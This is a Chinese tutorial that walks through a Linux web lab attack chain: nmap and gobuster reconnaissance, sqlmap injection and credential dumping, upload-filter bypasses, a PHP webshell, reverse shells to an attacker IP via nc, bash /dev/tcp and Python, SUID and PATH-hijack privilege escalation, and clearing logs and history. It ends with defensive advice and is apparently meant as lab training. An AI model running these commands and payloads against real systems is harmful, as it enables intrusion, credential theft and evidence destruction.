从SQL注入到Webshell:Linux靶场实战攻防全流程解析
2026/7/28 5:32:50 网站建设 项目流程

1. 项目概述:为什么我们需要一个“攻击者视角”的靶场

最近几年,安全圈里有个词儿特别火,叫“攻防实战化”。无论是企业做红蓝对抗,还是安全工程师自我提升,光看理论、背概念已经远远不够了。你得真刀真枪地动手,在尽可能真实的环境里,把攻击链走一遍,把防御点踩一遍,才能真正理解攻击者的思路和防御的薄弱环节。这就像学游泳,看再多教程,不下水扑腾几下,永远学不会。

“Linux-web-2靶场”就是这样一个为实战而生的环境。它模拟了一个典型的、存在多处安全缺陷的Linux Web服务器。我们的目标不是搞破坏,而是扮演一次“攻击者”,从外部探测开始,一步步渗透进去,最终获取一个名为“Webshell”的后门权限,并理解整个攻击流程的每一个环节。Webshell,简单说就是攻击者上传到服务器上的一个脚本文件(比如一个PHP或JSP文件),通过Web方式访问这个文件,就能在服务器上执行命令,相当于拿到了服务器的一个远程控制台,危害极大。

通过这个靶场,我们能学到什么?首先,你会对一次完整的Web攻击生命周期有直观感受:信息收集、漏洞探测、漏洞利用、权限提升、内网渗透(本靶场侧重前中期)。其次,你会深刻理解那些教科书上的漏洞(比如SQL注入、文件上传、命令执行)在实际中是如何被串联利用的。最后,也是最重要的,你会以攻击者的视角,重新审视自己维护的系统,思考“如果我是黑客,我会怎么打进来?”,从而建立起更有效的防御意识。这篇文章,我就带你手把手走一遍这个流程,分享其中每一个关键步骤的原理、操作和那些容易踩的坑。

2. 靶场环境搭建与初步信息收集

2.1 靶场部署与网络配置

“Linux-web-2”靶场通常以虚拟机镜像(如OVA格式)或Docker容器的形式提供。我强烈推荐使用虚拟机方案,因为它更贴近真实服务器环境,避免了Docker容器网络隔离可能带来的一些理解偏差。你可以使用VirtualBox或VMware来导入这个虚拟机。

导入后,第一件事是配置网络。为了让你的攻击机(通常是Kali Linux)能和靶机通信,你需要将靶机的网络适配器设置为“桥接模式”或“NAT模式”。桥接模式会让靶机获得和你物理机同网段的IP,像一台真实设备一样存在于你的局域网中,这样最方便。NAT模式则是通过你的物理机做地址转换,需要你在物理机上做端口转发。这里我建议新手用桥接,操作简单,不易出错。

启动靶机后,你需要找到它的IP地址。靶场系统通常是Linux,启动后会在登录界面显示IP,或者你可以进入系统后使用ifconfigip addr show命令查看。记下这个IP,假设是192.168.1.100。你的攻击机Kali Linux的IP可能是192.168.1.101。确保两者能互相ping通,这是所有后续操作的基础。

注意:有些靶场镜像默认不开启SSH或Web服务,可能需要你登录进去手动启动。通常靶场说明里会有初始账号密码,比如 root/toor。登录后,检查Apache/Nginx (systemctl status apache2)、MySQL (systemctl status mysql)等服务是否运行。如果没有,使用systemctl start [服务名]启动它们。

2.2 外围信息收集:端口与服务探测

在发动任何具体攻击之前,一个好的攻击者会先进行“踩点”。我们的第一项工作就是搞清楚靶机上到底开放了哪些门(端口),门后是什么服务(服务类型和版本)。

这里我们使用Nmap这个“瑞士军刀”。在Kali Linux终端中,执行一个全面的扫描:

nmap -sV -sC -O -p- 192.168.1.100

让我解释一下这些参数:

  • -sV: 版本探测。不仅告诉你端口开放,还尽力识别运行的服务及其具体版本号。版本信息对于寻找对应的漏洞至关重要。
  • -sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行更深入的探测,比如检查HTTP服务的标题、robots.txt文件,或者尝试识别一些简单的漏洞。
  • -O: 操作系统探测。尝试识别靶机的操作系统类型和内核版本。
  • -p-: 扫描所有65535个端口。默认Nmap只扫描最常见的1000个端口,加上这个参数确保没有遗漏任何隐蔽的服务。

扫描结果可能会显示如下关键信息:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian)) 3306/tcp open mysql MySQL 5.5.60

从这个结果,我们获得了战略蓝图:

  1. 80端口,HTTP服务:这是我们的主攻方向。一个Apache 2.4.38服务器,运行着一个Web应用。
  2. 22端口,SSH服务:OpenSSH 7.9p1。如果后续能获取到系统账号密码,这就是一个绝佳的持久化通道。
  3. 3306端口,MySQL数据库:版本5.5.60。这提示我们,Web应用很可能使用数据库,存在SQL注入的可能。

接下来,针对最重要的80端口,我们使用浏览器直接访问http://192.168.1.100。看看网站长什么样,有哪些功能点(登录、注册、搜索、文件上传等)。同时,使用工具如gobusterdirb进行目录爆破,寻找隐藏的路径或文件:

gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt

这个步骤可能会发现像/admin/backup/upload/phpinfo.php这样的敏感目录或文件,为我们后续的漏洞利用提供入口。

3. 漏洞挖掘与利用:寻找突破口

信息收集完毕后,我们就要开始寻找脆弱点了。一个典型的Web漏洞利用链,往往始于一个看似微小的入口。

3.1 SQL注入漏洞的发现与利用

假设我们在扫描或测试时,发现了一个带有参数查询的页面,比如http://192.168.1.100/news.php?id=1。这看起来像是一个根据ID显示新闻详情的页面。id参数很可能直接拼接到了数据库查询语句中,这就是SQL注入的温床。

我们进行手动测试。首先,尝试添加一个单引号:news.php?id=1'。如果页面返回了数据库错误(如“You have an error in your SQL syntax”),或者页面显示异常(空白、与id=1时不同),那么注入点很可能存在。

为了自动化、更深入地利用,我们使用sqlmap工具。这是一个功能极其强大的SQL注入检测和利用工具。

sqlmap -u "http://192.168.1.100/news.php?id=1" --batch --dbs
  • -u: 指定目标URL。
  • --batch: 以非交互模式运行,所有选择都采用默认选项,适合自动化。
  • --dbs: 枚举数据库管理系统中的所有数据库。

如果存在漏洞,sqlmap会先进行一系列测试,确认注入类型(布尔盲注、时间盲注、联合查询等),然后成功列出数据库。输出可能包含information_schemamysql和一个业务数据库,比如webapp_db

接下来,我们指定数据库,枚举其中的表:

sqlmap -u "http://192.168.1.100/news.php?id=1" -D webapp_db --tables --batch

假设我们发现了users表。然后,dump这个表的数据:

sqlmap -u "http://192.168.1.100/news.php?id=1" -D webapp_db -T users --dump --batch

这一步至关重要。users表里很可能存放着网站管理员的用户名和密码(通常是MD5哈希)。我们得到了类似admin:5f4dcc3b5aa765d61d8327deb882cf99(密码“password”的MD5)这样的数据。

实操心得:sqlmap功能虽强,但动静也大,容易被WAF(Web应用防火墙)拦截。在实际渗透测试授权范围内,可以尝试使用--tamper参数调用脚本对payload进行混淆(如space2comment),或者降低请求频率(--delay 1)。在靶场中,我们可以放心使用。

3.2 利用泄露凭证突破后台

拿到管理员哈希后,我们首先尝试破解。如果密码简单,可以通过在线MD5解密网站或本地用hashcat工具破解。假设我们成功破解出密码是admin123

现在,我们寻找网站的后台登录入口。之前目录爆破可能已经发现了/admin/login.php。访问后台登录页,尝试使用admin / admin123进行登录。如果成功,我们就进入了网站的管理后台。

后台通常拥有更高的权限,可能包含文件上传、系统设置、用户管理等功能。这里是我们获取Webshell的关键跳板。

3.3 文件上传漏洞与Webshell部署

进入后台后,我们寻找文件上传功能,比如“更换头像”、“上传文档”、“插件安装”等。这是获取Webshell最直接的途径之一。

我们准备一个简单的PHP Webshell文件,比如命名为shell.php,内容如下:

<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

这个脚本非常简单:它通过URL参数cmd接收系统命令,并通过system()函数执行。例如,访问http://192.168.1.100/uploads/shell.php?cmd=whoami,就会在页面上返回执行whoami命令的结果。

在后台的上传点,我们选择这个shell.php文件进行上传。然而,事情很少会一帆风顺。常见的防御措施包括:

  1. 前端校验:通过JavaScript检查文件扩展名。绕过方法:直接禁用浏览器JS,或使用Burp Suite拦截修改请求。
  2. 后端白名单校验:只允许.jpg,.png,.gif等扩展名。绕过方法:
    • 双写扩展名shell.php.jpg(如果后端校验逻辑不严谨)。
    • 大小写绕过shell.Phpshell.PHP
    • 00截断(在特定旧版本PHP中):shell.php%00.jpg(需在Burp中修改十六进制)。
    • 修改Content-Type:在Burp中,将上传请求包中的Content-Type: application/php改为Content-Type: image/jpeg
  3. 文件内容校验:检查文件头魔数(Magic Bytes)。绕过方法:在PHP代码前添加图片的文件头,例如GIF89a<?php...。这样文件既是合法的GIF,又能被PHP解析器执行(需要服务器配置不当,如未验证后缀名与内容的一致性)。
  4. 重命名:服务器会为上传的文件生成一个随机文件名。这时,我们需要结合其他漏洞,比如文件包含漏洞,去包含这个被重命名的文件。

在“Linux-web-2”靶场中,我们可能会遇到上述一种或多种情况。通过Burp Suite拦截上传请求,反复修改文件名、Content-Type等参数进行测试,最终成功上传我们的Webshell文件。上传成功后,记下文件的访问路径,例如http://192.168.1.100/uploads/shell.php

4. Webshell的利用与权限提升

4.1 建立交互式Shell与信息收集

访问我们的Webshell,通过cmd参数执行命令,例如http://192.168.1.100/uploads/shell.php?cmd=id。页面返回uid=33(www-data) gid=33(www-data) groups=33(www-data)。这表明我们当前的权限是www-data,这是Web服务器(如Apache)的运行用户,权限较低。

这个基础的Webshell功能有限,输出也不友好。我们需要建立一个更稳定、功能更全的交互式Shell。最常用的方法是使用netcat(nc)反弹Shell。

首先,在攻击机(Kali)上监听一个端口:

nc -lvnp 4444
  • -l: 监听模式。
  • -v: 显示详细信息。
  • -n: 直接使用IP地址,不进行DNS解析。
  • -p 4444: 指定监听端口。

然后,在Webshell中,执行反弹Shell的命令。由于靶机环境可能没有nc,或者nc版本不支持-e参数,我们需要使用多种备选方案。通过Webshell执行:

# 方法1:如果靶机nc支持-e rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.101 4444 >/tmp/f # 方法2:使用bash bash -c 'bash -i >& /dev/tcp/192.168.1.101/4444 0>&1' # 方法3:使用Python(如果靶机安装了Python) python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.101",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

成功的话,你会在Kali的nc监听窗口看到一个反向的Shell连接,提示符可能变成了www-data@target:/var/www/html$。现在,我们有了一个可以交互的命令行环境。

立即进行初步信息收集:

whoami # 当前用户 id # 用户和组信息 pwd # 当前目录 uname -a # 系统内核信息 cat /etc/issue # 系统发行版信息 df -h # 磁盘空间 ifconfig 或 ip a # 网络信息 ps aux # 查看所有进程 netstat -tulnp 或 ss -tulnp # 查看网络连接和监听端口 cat /etc/passwd # 查看系统用户

这些信息对于后续的权限提升和横向移动至关重要。

4.2 权限提升:从www-data到root

拿到www-data权限只是第一步,我们的目标是root。提权(Privilege Escalation)是一个系统性的排查过程。我通常按照以下思路进行:

1. 内核漏洞提权检查系统内核版本:uname -a。然后使用searchsploit在本地搜索该版本是否存在公开的提权漏洞。

searchsploit linux kernel 3.10

如果找到,下载对应的exp代码,上传到靶机(可以用Python的HTTP服务器python3 -m http.server在Kali上搭建临时下载),编译并执行。但内核提权风险较高,可能造成系统崩溃,在靶场中可以尝试,在生产环境中需极度谨慎。

2. 利用SUID/GUID错误配置SUID(Set User ID)位是一种特殊的文件权限,它允许用户以文件所有者的权限来执行文件。例如,/bin/passwd的SUID位为root,所以普通用户执行它时可以修改自己的密码。 查找具有SUID位且所有者是root的可执行文件:

find / -perm -u=s -type f 2>/dev/null

查看结果中是否有不常见的、或者已知可用于提权的命令,如:

  • findfind . -exec /bin/sh \; -quit
  • vim/vi:!bash
  • bashbash -p(如果bash本身有SUID位)
  • cp/mv:可以覆盖敏感文件(如/etc/passwdcrontab文件)
  • nmap(旧版本交互模式):nmap --interactive,然后!sh

3. 利用Capabilities能力Linux Capabilities将root特权细分,可以赋予给普通进程。查找被赋予了危险Capabilities的程序:

getcap -r / 2>/dev/null

例如,如果python被赋予了cap_setuid+ep能力,那么可以通过Python脚本来直接提权。

4. 利用Cron计划任务查看系统计划任务,寻找那些以root权限运行、且我们有权修改其脚本或目录的任务。

cat /etc/crontab ls -la /etc/cron.*/

如果我们发现一个root每隔一分钟执行的脚本,并且这个脚本所在的目录我们有写权限,我们就可以替换这个脚本为我们的恶意代码,等待root执行。

5. 利用PATH环境变量劫持如果有一个SUID程序内部调用了系统命令(如system(“ps”)),但没有使用绝对路径,我们就可以通过控制PATH环境变量,让它执行我们自定义的恶意ps程序。

# 在可写目录(如/tmp)创建一个名为ps的恶意脚本 echo '/bin/bash -p' > /tmp/ps chmod 777 /tmp/ps # 修改当前环境的PATH,让/tmp优先被搜索 export PATH=/tmp:$PATH # 然后运行那个SUID程序

6. 检查敏感文件与密码

# 查找包含密码的配置文件 find / -name “*.php” -o -name “*.conf” -o -name “*.config” -o -name “*.txt” 2>/dev/null | xargs grep -l -i “password” # 查看历史命令,可能包含密码 cat ~/.bash_history # 查看数据库配置文件,可能包含数据库root密码 find /var/www -name “*.php” | xargs grep -i “mysql_connect”

在“Linux-web-2”靶场中,经过系统性的排查,我们可能会发现一个配置不当的SUID程序,或者一个以root身份运行的、我们可写的Cron任务。利用这些漏洞,我们最终执行了提权操作,成功将权限从www-data提升到了root。执行whoami返回root,标志着我们完全控制了这台服务器。

5. 攻击痕迹清理与防御思考

5.1 攻击后的清理工作(仅限靶场学习)

在真实的渗透测试中,获得授权后,清理痕迹是必要的一环,以模拟高级攻击者(APT)的行为。在靶场中练习这些操作,是为了理解防御方应该如何检测。常见的清理操作包括:

  1. 清除命令历史history -c清除当前会话历史,还需要清空~/.bash_history文件。
  2. 删除上传的Webshell文件rm /var/www/html/uploads/shell.php
  3. 删除临时工具和日志:删除上传的exp、扫描工具等。清理系统日志中与攻击IP相关的记录(如/var/log/auth.log,/var/log/apache2/access.log),但这需要root权限且操作复杂,容易留下更多痕迹。
  4. 清除数据库日志(如果接触到了数据库)。

重要提示:在非授权环境中,任何攻击和痕迹清理都是非法的。靶场是唯一合法且安全的学习场所。

5.2 从防御者视角复盘:如何防范此类攻击

走完整个攻击流程,我们再切换回防御者视角,思考如何构建防线:

  1. 最小化攻击面

    • 关闭不必要的端口和服务:如非必要,关闭SSH的远程root登录,或改为密钥认证。MySQL不应监听在0.0.0.0。
    • 保持系统和软件更新:及时修补Apache、PHP、MySQL、Linux内核的已知漏洞。
    • 使用Web应用防火墙(WAF):可以有效拦截SQL注入、文件上传等常见Web攻击。
  2. 安全开发与配置

    • SQL注入:所有数据库查询必须使用参数化查询(Prepared Statements)或ORM框架,绝对避免字符串拼接。
    • 文件上传
      • 使用白名单严格校验文件扩展名和MIME类型。
      • 将上传目录设置为不可执行(通过配置Apache/Nginx,禁止在该目录解析PHP等脚本)。
      • 对上传文件进行重命名(如使用随机哈希值),并避免直接暴露文件路径。
      • 对图片文件进行二次渲染,破坏可能嵌入的恶意代码。
    • 权限控制:Web应用运行用户(如www-data)权限应尽可能低,遵循最小权限原则。数据库用户也应使用仅具备必要权限的账户。
  3. 系统加固

    • 定期进行权限审计:使用如LinPEASLinuxprivchecker等脚本定期检查系统的SUID文件、Cron任务、Capabilities等,及时发现不当配置。
    • 配置严格的防火墙(如iptables, ufw),只开放必要的端口。
    • 部署入侵检测系统(IDS/IPS):如OSSEC,监控文件完整性、异常登录和可疑命令。
  4. 监控与响应

    • 集中化日志管理:收集并分析系统日志、Web访问日志、数据库日志。
    • **部署端点检测与响应(EDR)**工具。
    • 制定安全事件应急响应预案,定期演练。

通过这次从攻击者视角的“实战演练”,我们亲身体验了一条完整的攻击链是如何串联起来的。一个微小的SQL注入点,可能成为获取后台凭证的钥匙;一个不严谨的文件上传功能,可能成为植入Webshell的通道;一个配置不当的系统权限,可能让攻击者直通root。防御从来不是单一维度的,它需要贯穿于开发、部署、运维的整个生命周期。希望这篇详细的复盘,不仅能让你掌握攻击的技术细节,更能深刻理解“未知攻,焉知防”的道理,从而在未来的工作中,构建起更立体、更有效的安全防线。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询